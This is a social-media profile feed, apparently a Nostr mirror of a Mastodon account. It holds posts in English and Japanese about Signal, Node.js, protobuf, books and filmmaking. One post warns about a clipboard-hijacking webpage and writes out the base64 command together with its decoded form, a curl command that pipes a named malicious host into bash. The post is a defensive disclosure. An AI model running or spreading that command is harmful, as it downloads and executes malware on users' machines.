He/him, io.js forker, Emeritus Node.js TSC Member, Software Engineer at @signalapp. My interests are OpenSource software, photography/cinematography, modern metal, and reading books/watching movies. Signalという非営利会社で働いているソフト開発者です。元々Node.js TSC員だって、io.jsをforkしました。興味はOpenSourceソフト、写真/撮影、メタル音楽をギターで弾くこと、本、映画です。 (Expressed views are my own)
Public Key
npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Profile Code
nprofile1qqsvacuaz66egm9t4e4arr7eupewaqkea8yljcj8flufq8h40gyhndcpz4mhxue69uhhyetvv9ujuerfw36x7tnsw43qmdq94y
Show more details
Published at
2026-07-15T18:59:06Z Event JSON
{
"id": "b8ef451df648c7132d1e03309cf8287d9d4ba861defddd8ce295bdc772844b17" ,
"pubkey": "cee39d16b5946cabae6bd18fd9e072ee82d9e9c9f962474ff8901ef57a0979b7" ,
"created_at": 1784141946 ,
"kind": 0 ,
"tags": [
[
"proxy",
"https://mean.engineer/users/indutny",
"activitypub"
],
[
"client",
"Mostr",
"31990:6be38f8c63df7dbf84db7ec4a6e6fbbd8d19dca3b980efad18585c46f04b26f9:mostr",
"wss://relay.ditto.pub"
]
],
"content": "{\"name\":\"Fedor Indutny\",\"about\":\"He/him, io.js forker, Emeritus Node.js TSC Member, Software Engineer at @signalapp. My interests are OpenSource software, photography/cinematography, modern metal, and reading books/watching movies.\\n\\nSignalという非営利会社で働いているソフト開発者です。元々Node.js TSC員だって、io.jsをforkしました。興味はOpenSourceソフト、写真/撮影、メタル音楽をギターで弾くこと、本、映画です。\\n\\n(Expressed views are my own)\",\"picture\":\"https://mean.engineer/system/accounts/avatars/113/861/761/106/035/711/original/9396e5ba682dc07c.png\",\"banner\":\"https://mean.engineer/system/accounts/headers/113/861/761/106/035/711/original/00ca43c267583174.jpeg\",\"nip05\":\"[email protected] \",\"fields\":[[\"Blog\",\"https://darksi.de/\"],[\"Github\",\"https://github.com/indutny\"],[\"Signal\",\"https://signal.me/#eu/yu_GjnrAOYbmngg0VujduuYU1rLVmp9uVW5NyDQCo0ISVTX-coJIl7MQ58kJ_hQc\"]]}" ,
"sig": "adf5fd0a44c3704010e34fc8e6ad362415a9e941fa41b1cc806456c9ad1f5eebfb8ad20b45895c7083166fb2976771440a9ea8fe8a1b8ad47f977eaa078545bf"
}
Last Notes npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…khl4 wow, this seems like a large lens! Great photos! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Any illustrators looking for commission work? Olga and I are producing a play and are looking for artwork for posters, flyers, etc. The play is about dystopian future, but we are open to various interpretations of the story for the illustrations! (Boosts appreciated) npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Oh, Apple… https://mean.engineer/system/media_attachments/files/116/540/283/998/442/495/original/24d18a37e6a3486e.png npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny オビタール・クラウドの下巻を読み終えたばかりです! すごく面白かったですよ!特に(ネタバレをすみませんが)地球を動かすことが気に入りました。流石に @nprofile…c44x の作品は新鋭なアイデアと科学的の理論に溢れています。お薦めですよ! https://mean.engineer/system/media_attachments/files/116/429/113/884/373/082/original/d429ed54d6f19875.jpeg npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c44x 聞いてよければ、度いう本ですか? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Spent some quality time today on building features for protopiler that I originally resolved not to do: - map support - rpc support - custom option support (I did not fully do it, but at least it doesn't throw) All of them were kind of fun to do and I have a practical need for them at work already! https://codeberg.org/indutny/protopiler/compare/v3.2.4...v4.0.0 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…khl4 oh boy, this looks awesome! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ezqw yeah, I hear this from time to time, but it makes little sense. The server is already oblivious to message content (E2E), and to sender (sealed sender) npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ezqw fwiw, server code is open source except for an optional spam filter that we have to run npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny So excited about the 8.0 beta release of Signal. We worked on secure backups for a while, and as always built it with innovative approaches to make it privacy-bulletproof; but as exhilarating as working on that was there is nothing compared to getting it out into our users' hands! Give it a try in Signal Desktop or iOS/Android Beta 🥰 https://community.signalusers.org/t/beta-feedback-for-the-upcoming-desktop-8-0-release/74745 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ezqw yes, but my goal is to interact with existing service npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Google is so funny with its protobuf versions and editions. They just publish the whole spec independently for each edition without a changelog. Am I supposed to read two specs side-by-side in order to find the differences? Am I not supposed to be able to find differences? To be clear, I think I summarized all proto2 vs proto3 differences in my head, but it is so much work for something that could have been so simple for the spec authors. npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…pqg8 as much as I’m on the same page with you, I’ll probably be sticking with Firefox just to keep competition to Chrome alive. Until there is a servo-based browser, at least npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…l8gu you should understand that this library was written in entirely different era of JavaScript and mostly for the purpose of verifying signatures, not making them. (In fact it was written for my side project and not public consumption originally!) I tried to squeeze out most of the performance on the JS engines of that time, and constant-time code… obviously was much slower. Anyway you heard my excuses, but I can’t honestly claim that all of these choices were good even then! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Oh, wow! This is new. As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is: echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash which decodes to: curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash & and this in turn becomes a full-blown malware: https://pastebin.com/rUbcVAfC https://mean.engineer/system/media_attachments/files/115/418/567/143/065/274/original/f600fbcc5006caeb.png npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Did anyone come across a "self-host your email" kind of guide? I'm getting tired of proton mail's slowness, and... their politics, but moving to yet another commercial provider isn't something that I'm looking for anymore. #LazyMastodon npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny Yesterday was the festival screening day! It was so fun to see our short on the silver screen, I couldn’t believe it. 🥲 The other teams are amazing and the community is 💯 https://mean.engineer/system/media_attachments/files/115/027/475/228/648/449/original/421c0860a0110ac4.jpeg npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 えー、そんなに美味しそうですね! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 えー、押し切ったら多分もう戻ることがなくなるでしょう。😅 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 まるでもうどこにも隠れないようになりましてね… npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 英語の報道でびざの面接のときソシアルメジャーのlogin/passwordを渡すことでも聞かれられるようですけど。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 あー、そういう件ですか…確かにGitHubがsocial mediaであるかと分かりにくいですね。全部でrepoを公開するのは大変じゃありませんか⁉︎ npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 なにこれ? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy 彼の典型的の作戦は混乱させて、無計画な陳述を宣言するということらしいでしょうか?もしある提案を承諾した側が現れたら、「初めから計画通りだった」と言えるかもしれません。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy おー、なるほどですよ!ありがとうございます😊 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy その日が本当にありますか? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 違いがありますか?🙃 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny I think I had it with Final Cut Pro. Time to move to Davinci Resolve npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy 連続のツイートを読みながら、少し羨ましくなりました😀多分僕も遊ぼうと思います!👍🙌ありがとうございます! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 そうですか?2時間かかるのはびっくりですよね!僕のM2 Airは大体二十分で終わりそうでした。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 intelのラップトップでしょうか? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 役立つついうか、迷惑というか…わかりません npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny New books arrived! Thanks @nprofile…ylpy for recommending the 「記者ハンドブック」 and authoring the 「マン・カインド」! #日本語 https://mean.engineer/system/media_attachments/files/114/450/836/156/253/148/original/406f7141d3ddb9b3.jpeg npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy absolutely! Humans are not infallible, but entrusting LLM with this selection process is a bit different since it is not responsible for the mistakes it makes and cannot be held accountable. These are the mechanisms that we use to counter the human biases, but cannot use with LLM. npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy personally, I feel that use of LLM does not substitute proper research. Hallucinations is one problem, but another is that the LLM is blackbox and the summary that it gives on the subject can be biased, censored, and incomplete even if it is 100% correct. In case of conference participants, it is probably best to just ask them for the information? 🤔 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy おー、すごいですよね!御説明を教えてくれてありがとうございました!文芸出版会は編集の時それを頼んでいますか? 本当に「摑む」も見たことがありますけど、よく使った単語なので、さっとに覚えていました。「体軀」というのは僕が読んでいた本にまだ滅多にないでしょう。そしてちゃんと迷っていました! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny なんで「体躯」を使わなかっただろう? https://mean.engineer/system/media_attachments/files/114/425/562/909/284/782/original/42ac42323d5eba75.jpeg npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 どうやってしましたか? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…9g5v the familiar faces of hyperswarm 😅 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny I like the concept of minimal core, though! This is the direction I wish Node.js would not only not back down from, but also move into more seriously. Every core library can be a native addon with some JS sprinkled over it. The “core” then becomes just JS engine, and tools to deal with imports and addons. If you then “chain” libuv streams with something like https://github.com/indutny/uv_link_t (a project that never took off separately, but become part of Node) - the performance won’t even suffer! npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…9g5v I like this part quite a lot! Chances are, most people will go with bare-http, though, since it is advertised on the home page, and this module is not compliant with spec so we will have yet another spec deviation to deal with in all other places. npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny “Bare” looks fun, but this is HTTP parser is painful to read: https://github.com/holepunchto/bare-http1/blob/4943bd86e7a588ccb02a6c54fd5064f9e5f5bd81/lib/client-connection.js#L139-L192 I don't blame the authors, though, HTTP/1.1 has all the signs of super simple protocol to implement, while actually being harder to implement than basic HTTP/2 in many ways. I appreciate the simplicity of the module, but also wonder if they could have ripped out llhttp out of undici and went with it. npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…c9t5 日本にも報道される事ですか? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy 確かにそうですね。投資者のビザは大体にもうよくないと証拠されたんじゃありませんか。マンハッタンで歴史的の貧乏の近所の境界がすでにEB-5を持つ海外の投資者のために変えられて、豪華な建物を築きました:https://archive.is/K9KS3 藤井さんのおっしゃった通り、あれが国のための仕組みじゃないだと思います。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy それは可能ですけど、値段は減るわけではありません… 関税は消費者に反する効果がありますね。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…j0he I didn’t, but isn’t distilled model the one everyone runs and being excited about? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…9g5v exactly! It is so 101 and yet waters down the answers to the point where I’d rather just read Wikipedia on the subject npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny With all the hype around DeepSeek R1, I thought I give it a try to see if things got better in the hyped world of LLMs. Alas, it still hallucinates and provides nonsensical answers to simple questions. The main difference seems that both o1 and R1 now do the “thinking” step which takes lots of time to compute locally, slowing the actual response a lot (not that the response made much sense after that). Is it just me? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ckck what's the cleaning process like? Pressure washing? npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…eyyt also not entirely true in my experience. I guess it might depend on whether the writer accesses the same table as readers or not. In Signal Desktop (since recently) we have a pool of threads with one writer thread and multiple readers, and it seems mostly optimal, but still writing blocks reads from time to time. npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny @nprofile…ylpy 残念ながら、そんな状況です…僕は映像さえ見づらかったです。 npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s Fedor Indutny …and I just migrated to my own server. Let me know if you can see this message!